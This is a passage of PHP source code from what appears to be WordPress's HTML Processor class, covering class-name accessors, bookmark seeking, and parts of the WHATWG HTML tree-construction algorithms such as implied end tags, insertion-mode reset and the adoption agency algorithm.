		return $this->is_virtual() ? false : parent::add_class( $class_name );
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::remove_class( $class_name );
	}

	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @todo When reconstructing active formatting elements with attributes, find a way
	 *       to indicate if the virtually-reconstructed formatting elements contain the
	 *       wanted class name.
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		return $this->is_virtual() ? null : parent::has_class( $wanted_class );
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 */
	public function class_list() {
		return $this->is_virtual() ? null : parent::class_list();
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		return $this->is_virtual() ? '' : parent::get_modifiable_text();
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		return $this->is_virtual() ? null : parent::get_comment_type();
	}

	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $bookmark_name ): bool {
		return parent::release_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Moves the internal cursor in the HTML Processor to a given bookmark's location.
	 *
	 * Be careful! Seeking backwards to a previous location resets the parser to the
	 * start of the document and reparses the entire contents up until it finds the
	 * sought-after bookmarked location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		// Flush any pending updates to the document before beginning.
		$this->get_updated_html();

		$actual_bookmark_name = "_{$bookmark_name}";
		$processor_started_at = $this->state->current_token
			? $this->bookmarks[ $this->state->current_token->bookmark_name ]->start
			: 0;
		$bookmark_starts_at   = $this->bookmarks[ $actual_bookmark_name ]->start;
		$direction            = $bookmark_starts_at > $processor_started_at ? 'forward' : 'backward';

		/*
		 * If seeking backwards, it's possible that the sought-after bookmark exists within an element
		 * which has been closed before the current cursor; in other words, it has already been removed
		 * from the stack of open elements. This means that it's insufficient to simply pop off elements
		 * from the stack of open elements which appear after the bookmarked location and then jump to
		 * that location, as the elements which were open before won't be re-opened.
		 *
		 * In order to maintain consistency, the HTML Processor rewinds to the start of the document
		 * and reparses everything until it finds the sought-after bookmark.
		 *
		 * There are potentially better ways to do this: cache the parser state for each bookmark and
		 * restore it when seeking; store an immutable and idempotent register of where elements open
		 * and close.
		 *
		 * If caching the parser state it will be essential to properly maintain the cached stack of
		 * open elements and active formatting elements when modifying the document. This could be a
		 * tedious and time-consuming process as well, and so for now will not be performed.
		 *
		 * It may be possible to track bookmarks for where elements open and close, and in doing so
		 * be able to quickly recalculate breadcrumbs for any element in the document. It may even
		 * be possible to remove the stack of open elements and compute it on the fly this way.
		 * If doing this, the parser would need to track the opening and closing locations for all
		 * tokens in the breadcrumb path for any and all bookmarks. By utilizing bookmarks themselves
		 * this list could be automatically maintained while modifying the document. Finding the
		 * breadcrumbs would then amount to traversing that list from the start until the token
		 * being inspected. Once an element closes, if there are no bookmarks pointing to locations
		 * within that element, then all of these locations may be forgotten to save on memory use
		 * and computation time.
		 */
		if ( 'backward' === $direction ) {

			/*
			 * When moving backward, stateful stacks should be cleared.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->remove_node( $item );
			}

			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				$this->state->active_formatting_elements->remove_node( $item );
			}

			/*
			 * **After** clearing stacks, more processor state can be reset.
			 * This must be done after clearing the stack because those stacks generate events that
			 * would appear on a subsequent call to `next_token()`.
			 */
			$this->state->frameset_ok                       = true;
			$this->state->stack_of_template_insertion_modes = array();
			$this->state->head_element                      = null;
			$this->state->form_element                      = null;
			$this->state->current_token                     = null;
			$this->current_element                          = null;
			$this->element_queue                            = array();

			/*
			 * The absence of a context node indicates a full parse.
			 * The presence of a context node indicates a fragment parser.
			 */
			if ( null === $this->context_node ) {
				$this->change_parsing_namespace( 'html' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_INITIAL;
				$this->breadcrumbs           = array();

				$this->bookmarks['initial'] = new WP_HTML_Span( 0, 0 );
				parent::seek( 'initial' );
				unset( $this->bookmarks['initial'] );
			} else {

				/*
				 * Push the root-node (HTML) back onto the stack of open elements.
				 *
				 * Fragment parsers require this extra bit of setup.
				 * It's handled in full parsers by advancing the processor state.
				 */
				$this->state->stack_of_open_elements->push(
					new WP_HTML_Token(
						'root-node',
						'HTML',
						false
					)
				);

				$this->change_parsing_namespace(
					$this->context_node->integration_node_type
						? 'html'
						: $this->context_node->namespace
				);

				if ( 'TEMPLATE' === $this->context_node->node_name ) {
					$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				}

				$this->reset_insertion_mode_appropriately();
				$this->breadcrumbs = array_slice( $this->breadcrumbs, 0, 2 );
				parent::seek( $this->context_node->bookmark_name );
			}
		}

		/*
		 * Here, the processor moves forward through the document until it matches the bookmark.
		 * do-while is used here because the processor is expected to already be stopped on
		 * a token than may match the bookmarked location.
		 */
		do {
			/*
			 * The processor will stop on virtual tokens, but bookmarks may not be set on them.
			 * They should not be matched when seeking a bookmark, skip them.
			 */
			if ( $this->is_virtual() ) {
				continue;
			}
			if ( $bookmark_starts_at === $this->bookmarks[ $this->state->current_token->bookmark_name ]->start ) {
				return true;
			}
		} while ( $this->next_token() );

		return false;
	}

	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * Bookmarks cannot be set on tokens that do no appear in the original
	 * HTML text. For example, the HTML `<table><td>` stops at tags `TABLE`,
	 * `TBODY`, `TR`, and `TD`. The `TBODY` and `TR` tags do not appear in
	 * the original HTML and cannot be used as bookmarks.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $bookmark_name ): bool {
		if ( $this->is_virtual() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Cannot set bookmarks on tokens that do no appear in the original HTML text.' ),
				'6.8.0'
			);
			return false;
		}
		return parent::set_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.5.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return parent::has_bookmark( "_{$bookmark_name}" );
	}

	/*
	 * HTML Parsing Algorithms
	 */

	/**
	 * Closes a P element.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#close-a-p-element
	 */
	private function close_a_p_element(): void {
		$this->generate_implied_end_tags( 'P' );
		$this->state->stack_of_open_elements->pop_until( 'P' );
	}

	/**
	 * Closes elements that have implied end tags.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 *
	 * @param string|null $except_for_this_element Perform as if this element doesn't exist in the stack of open elements.
	 */
	private function generate_implied_end_tags( ?string $except_for_this_element = null ): void {
		$elements_with_implied_end_tags = array(
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
		);

		$no_exclusions = ! isset( $except_for_this_element );

		while (
			( $no_exclusions || ! $this->state->stack_of_open_elements->current_node_is( $except_for_this_element ) ) &&
			in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true )
		) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Closes elements that have implied end tags, thoroughly.
	 *
	 * See the HTML specification for an explanation why this is
	 * different from generating end tags in the normal sense.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see WP_HTML_Processor::generate_implied_end_tags
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 */
	private function generate_implied_end_tags_thoroughly(): void {
		$elements_with_implied_end_tags = array(
			'CAPTION',
			'COLGROUP',
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
			'TBODY',
			'TD',
			'TFOOT',
			'TH',
			'THEAD',
			'TR',
		);

		while ( in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true ) ) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Returns the adjusted current node.
	 *
	 * > The adjusted current node is the context element if the parser was created as
	 * > part of the HTML fragment parsing algorithm and the stack of open elements
	 * > has only one element in it (fragment case); otherwise, the adjusted current
	 * > node is the current node.
	 *
	 * @see https://html.spec.whatwg.org/#adjusted-current-node
	 *
	 * @since 6.7.0
	 *
	 * @return WP_HTML_Token|null The adjusted current node.
	 */
	private function get_adjusted_current_node(): ?WP_HTML_Token {
		if ( isset( $this->context_node ) && 1 === $this->state->stack_of_open_elements->count() ) {
			return $this->context_node;
		}

		return $this->state->stack_of_open_elements->current_node();
	}

	/**
	 * Reconstructs the active formatting elements.
	 *
	 * > This has the effect of reopening all the formatting elements that were opened
	 * > in the current body, cell, or caption (whichever is youngest) that haven't
	 * > been explicitly closed.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#reconstruct-the-active-formatting-elements
	 *
	 * @return bool Whether any formatting elements needed to be reconstructed.
	 */
	private function reconstruct_active_formatting_elements(): bool {
		/*
		 * > If there are no entries in the list of active formatting elements, then there is nothing
		 * > to reconstruct; stop this algorithm.
		 */
		if ( 0 === $this->state->active_formatting_elements->count() ) {
			return false;
		}

		$last_entry = $this->state->active_formatting_elements->current_node();
		if (

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is a marker;
			 * > stop this algorithm.
			 */
			'marker' === $last_entry->node_name ||

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is an
			 * > element that is in the stack of open elements, then there is nothing to reconstruct;
			 * > stop this algorithm.
			 */
			$this->state->stack_of_open_elements->contains_node( $last_entry )
		) {
			return false;
		}

		$this->bail( 'Cannot reconstruct active formatting elements when advancing and rewinding is required.' );
	}

	/**
	 * Runs the reset the insertion mode appropriately algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#reset-the-insertion-mode-appropriately
	 */
	private function reset_insertion_mode_appropriately(): void {
		// Set the first node.
		$first_node = null;
		foreach ( $this->state->stack_of_open_elements->walk_down() as $first_node ) {
			break;
		}

		/*
		 * > 1. Let _last_ be false.
		 */
		$last = false;
		foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
			/*
			 * > 2. Let _node_ be the last node in the stack of open elements.
			 * > 3. _Loop_: If _node_ is the first node in the stack of open elements, then set _last_
			 * >            to true, and, if the parser was created as part of the HTML fragment parsing
			 * >            algorithm (fragment case), set node to the context element passed to
			 * >            that algorithm.
			 * > …
			 */
			if ( $node === $first_node ) {
				$last = true;
				if ( isset( $this->context_node ) ) {
					$node = $this->context_node;
				}
			}

			// All of the following rules are for matching HTML elements.
			if ( 'html' !== $node->namespace ) {
				continue;
			}

			switch ( $node->node_name ) {
				/*
				 * > 4. If node is a `select` element, run these substeps:
				 * >   1. If _last_ is true, jump to the step below labeled done.
				 * >   2. Let _ancestor_ be _node_.
				 * >   3. _Loop_: If _ancestor_ is the first node in the stack of open elements,
				 * >      jump to the step below labeled done.
				 * >   4. Let ancestor be the node before ancestor in the stack of open elements.
				 * >   …
				 * >   7. Jump back to the step labeled _loop_.
				 * >   8. _Done_: Switch the insertion mode to "in select" and return.
				 */
				case 'SELECT':
					if ( ! $last ) {
						foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $ancestor ) {
							if ( 'html' !== $ancestor->namespace ) {
								continue;
							}

							switch ( $ancestor->node_name ) {
								/*
								 * > 5. If _ancestor_ is a `template` node, jump to the step below
								 * >    labeled _done_.
								 */
								case 'TEMPLATE':
									break 2;

								/*
								 * > 6. If _ancestor_ is a `table` node, switch the insertion mode to
								 * >    "in select in table" and return.
								 */
								case 'TABLE':
									$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
									return;
							}
						}
					}
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
					return;

				/*
				 * > 5. If _node_ is a `td` or `th` element and _last_ is false, then switch the
				 * >    insertion mode to "in cell" and return.
				 */
				case 'TD':
				case 'TH':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
						return;
					}
					break;

					/*
					* > 6. If _node_ is a `tr` element, then switch the insertion mode to "in row"
					* >    and return.
					*/
				case 'TR':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
					return;

				/*
				 * > 7. If _node_ is a `tbody`, `thead`, or `tfoot` element, then switch the
				 * >    insertion mode to "in table body" and return.
				 */
				case 'TBODY':
				case 'THEAD':
				case 'TFOOT':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
					return;

				/*
				 * > 8. If _node_ is a `caption` element, then switch the insertion mode to
				 * >    "in caption" and return.
				 */
				case 'CAPTION':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
					return;

				/*
				 * > 9. If _node_ is a `colgroup` element, then switch the insertion mode to
				 * >    "in column group" and return.
				 */
				case 'COLGROUP':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
					return;

				/*
				 * > 10. If _node_ is a `table` element, then switch the insertion mode to
				 * >     "in table" and return.
				 */
				case 'TABLE':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
					return;

				/*
				 * > 11. If _node_ is a `template` element, then switch the insertion mode to the
				 * >     current template insertion mode and return.
				 */
				case 'TEMPLATE':
					$this->state->insertion_mode = end( $this->state->stack_of_template_insertion_modes );
					return;

				/*
				 * > 12. If _node_ is a `head` element and _last_ is false, then switch the
				 * >     insertion mode to "in head" and return.
				 */
				case 'HEAD':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
						return;
					}
					break;

				/*
				 * > 13. If _node_ is a `body` element, then switch the insertion mode to "in body"
				 * >     and return.
				 */
				case 'BODY':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
					return;

				/*
				 * > 14. If _node_ is a `frameset` element, then switch the insertion mode to
				 * >     "in frameset" and return. (fragment case)
				 */
				case 'FRAMESET':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
					return;

				/*
				 * > 15. If _node_ is an `html` element, run these substeps:
				 * >     1. If the head element pointer is null, switch the insertion mode to
				 * >        "before head" and return. (fragment case)
				 * >     2. Otherwise, the head element pointer is not null, switch the insertion
				 * >        mode to "after head" and return.
				 */
				case 'HTML':
					$this->state->insertion_mode = isset( $this->state->head_element )
						? WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD
						: WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
					return;
			}
		}

		/*
		 * > 16. If _last_ is true, then switch the insertion mode to "in body"
		 * >     and return. (fragment case)
		 *
		 * This is only reachable if `$last` is true, as per the fragment parsing case.
		 */
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
	}

	/**
	 * Runs the adoption agency algorithm.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#adoption-agency-algorithm
	 */
	private function run_adoption_agency_algorithm(): void {
		$budget       = 1000;
		$subject      = $this->get_tag();
		$current_node = $this->state->stack_of_open_elements->current_node();

		if (
			// > If the current node is an HTML element whose tag name is subject
			$current_node && $subject === $current_node->node_name &&
			// > the current node is not in the list of active formatting elements
			! $this->state->active_formatting_elements->contains_node( $current_node )
		) {
			$this->state->stack_of_open_elements->pop();
			return;
		}

		$outer_loop_counter = 0;
		while ( $budget-- > 0 ) {
			if ( $outer_loop_counter++ >= 8 ) {
				return;
			}

			/*
			 * > Let formatting element be the last element in the list of active formatting elements that:
			 * >   - is between the end of the list and the last marker in the list,
			 * >     if any, or the start of the list otherwise,
			 * >   - and has the tag name subject.
			 */
			$formatting_element = null;
			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				if ( 'marker' === $item->node_name ) {
					break;
				}

				if ( $subject === $item->node_name ) {
					$formatting_element = $item;
					break;
				}
			}

			// > If there is no such element, then return and instead act as described in the "any other end tag" entry above.
			if ( null === $formatting_element ) {
				$this->bail( 'Cannot run adoption agency when "any other end tag" is required.' );
			}

			// > If formatting element is not in the stack of open elements, then this is a parse error; remove the element from the list, and return.
			if ( ! $this->state->stack_of_open_elements->contains_node( $formatting_element ) ) {
				$this->state->active_formatting_elements->remove_node( $formatting_element );
				return;
			}

			// > If formatting element is in the stack of open elements, but the element is not in scope, then this is a parse error; return.
			if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $formatting_element->node_name ) ) {
				return;
			}

			/*
			 * > Let furthest block be the topmost node in the stack of open elements that is lower in the stack
			 * > than formatting element, and is an element in the special category. There might not be one.
			 */
			$is_above_formatting_element = true;
			$furthest_block              = null;
			foreach ( $this->state->stack_of_open_elements->walk_down() as $item ) {
				if ( $is_above_formatting_element && $formatting_element->bookmark_name !== $item->bookmark_name ) {
					continue;
				}

				if ( $is_above_formatting_element ) {
					$is_above_formatting_element = false;
					continue;
				}

				if ( self::is_special( $item ) ) {
					$furthest_block = $item;
					break;
				}
			}

			/*
			 * > If there is no furthest block, then the UA must first pop all the nodes from the bottom of the
			 * > stack of open elements, from the current node up to and including formatting element, then
			 * > remove formatting element from the list of active formatting elements, and finally return.
			 */
			if ( null === $furthest_block ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();

					if ( $formatting_element->bookmark_name === $item->bookmark_name ) {
						$this->state->active_formatting_elements->remove_node( $formatting_element );
						return;
					}
				}
			}

			$this->bail( 'Cannot extract common ancestor in adoption agency algorithm.' );
		}

		$this->bail( 'Cannot run adoption agency when looping required.' );
	}

	/**
	 * Runs the "close the cell" algorithm.
	 *
	 * > Where the steps above say to close the cell, they mean to run the following algorithm:
	 * >   1. Generate implied end tags.
	 * >   2. If the current node is not now a td element or a th element, then this is a parse error.
	 * >   3. Pop elements from the stack of open elements stack until a td element or a th element has been popped from the stack.
	 * >   4. Clear the list of active formatting elements up to the last marker.
	 * >   5. Switch the insertion mode to "in row".
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#close-the-cell
	 *
	 * @since 6.7.0
	 */
	private function close_cell(): void {
		$this->generate_implied_end_tags();
		// @todo Parse error if the current node is a "td" or "th" element.
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			$this->state->stack_of_open_elements->pop();
			if ( 'TD' === $element->node_name || 'TH' === $element->node_name ) {
				break;
			}
		}
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
	}

	/**
	 * Inserts an HTML element on the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token Name of bookmark pointing to element in original input HTML.
	 */
	private function insert_html_element( WP_HTML_Token $token ): void {
		$this->state->stack_of_open_elements->push( $token );
	}

	/**
	 * Inserts a foreign element on to the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token                     Insert this token. The token's namespace and
	 *                                                 insertion point will be updated correctly.
	 * @param bool          $only_add_to_element_stack Whether to skip the "insert an element at the adjusted
	 *                                                 insertion location" algorithm when adding this element.
	 */
	private function insert_foreign_element( WP_HTML_Token $token, bool $only_add_to_element_stack ): void {
		$adjusted_current_node = $this->get_adjusted_current_node();

		$token->namespace = $adjusted_current_node ? $adjusted_current_node->namespace : 'html';

		if ( $this->is_mathml_integration_point() ) {
			$token->integration_node_type = 'math';
		} elseif ( $this->is_html_integration_point() ) {
			$token->integration_node_type = 'html';
		}

		if ( false === $only_add_to_element_stack ) {
			/*
			 * @todo Implement the "appropriate place for inserting a node" and the
			 *       "insert an element at the adjusted insertion location" algorithms.
			 *
			 * These algorithms mostly impacts DOM tree construction and not the HTML API.
			 * Here, there's no DOM node onto which the element will be appended, so the
			 * parser will skip this step.
			 *
			 * @see https://html.spec.whatwg.org/#insert-an-element-at-the-adjusted-insertion-location
			 */
		}

		$this->insert_html_element( $token );
	}

	/**
	 * Inserts a virtual element on the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string      $token_name    Name of token to create and insert into the stack of open elements.
	 * @param string|null $bookmark_name Optional. Name to give bookmark for created virtual node.
	 *                                   Defaults to auto-creating a bookmark name.
	 * @return WP_HTML_Token Newly-created virtual token.
	 */
	private function insert_virtual_node( $token_name, $bookmark_name = null ): WP_HTML_Token {
		$here = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$name = $bookmark_name ?? $this->bookmark_token();

		$this->bookmarks[ $name ] = new WP_HTML_Span( $here->start, 0 );

		$token = new WP_HTML_Token( $name, $token_name, false );
		$this->insert_html_element( $token );
		return $token;
	}

	/*
	 * HTML Specification Helpers
	 */

	/**
	 * Indicates if the current token is a MathML integration point.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#mathml-text-integration-point
	 *
	 * @return bool Whether the current token is a MathML integration point.
	 */
	private function is_mathml_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'math' !== $current_token->namespace || 'M' !== $current_token->node_name[0] ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		return (
			'MI' === $tag_name ||
			'MO' === $tag_name ||
			'MN' === $tag_name ||
			'MS' === $tag_name ||
			'MTEXT' === $tag_name
		);
	}

	/**
	 * Indicates if the current token is an HTML integration point.
	 *
	 * Note that this method must be an instance method with access
	 * to the current token, since it needs to examine the attributes
	 * of the currently-matched tag, if it's in the MathML namespace.
	 * Otherwise it would be required to scan the HTML and ensure that
	 * no other accounting is overlooked.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#html-integration-point
	 *
	 * @return bool Whether the current token is an HTML integration point.
	 */
	private function is_html_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'html' === $current_token->namespace ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		if ( 'svg' === $current_token->namespace ) {
			return (
				'DESC' === $tag_name ||
				'FOREIGNOBJECT' === $tag_name ||
				'TITLE' === $tag_name
			);
		}

		if ( 'math' === $current_token->namespace ) {
			if ( 'ANNOTATION-XML' !== $tag_name ) {
				return false;
			}

			$encoding = $this->get_attribute( 'encoding' );

			return (
				is_string( $encoding ) &&
				(
					0 === strcasecmp( $encoding, 'application/xhtml+xml' ) ||
					0 === strcasecmp( $encoding, 'text/html' )
				)
			);
		}

		$this->bail( 'Should not have reached end of HTML Integration Point detection: check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Returns whether an element of a given name is in the HTML special category.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#special
	 *
	 * @param WP_HTML_Token|string $tag_name Node to check, or only its name if in the HTML namespace.
	 * @return bool Whether the element of the given name is in the special category.
	 */
	public static function is_special( $tag_name ): bool {
		if ( is_string( $tag_name ) ) {
			$tag_name = strtoupper( $tag_name );
		} else {
			$tag_name = 'html' === $tag_name->namespace
				? strtoupper( $tag_name->node_name )
				: "{$tag_name->namespace} {$tag_name->node_name}";
		}

		return (
			'ADDRESS' === $tag_name ||
			'APPLET' === $tag_name ||
			'AREA' === $tag_name ||
			'ARTICLE' === $tag_name ||
			'ASIDE' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name ||
			'BGSOUND' === $tag_name ||
			'BLOCKQUOTE' === $tag_name ||
			'BODY' === $tag_name ||
			'BR' === $tag_name ||
			'BUTTON' === $tag_name ||
			'CAPTION' === $tag_name ||
			'CENTER' === $tag_name ||
			'COL' === $tag_name ||
			'COLGROUP' === $tag_name ||
			'DD' === $tag_name ||
			'DETAILS' === $tag_name ||
			'DIR' === $tag_name ||
			'DIV' === $tag_name ||
			'DL' === $tag_name ||
			'DT' === $tag_name ||
			'EMBED' === $tag_name ||
			'FIELDSET' === $tag_name ||
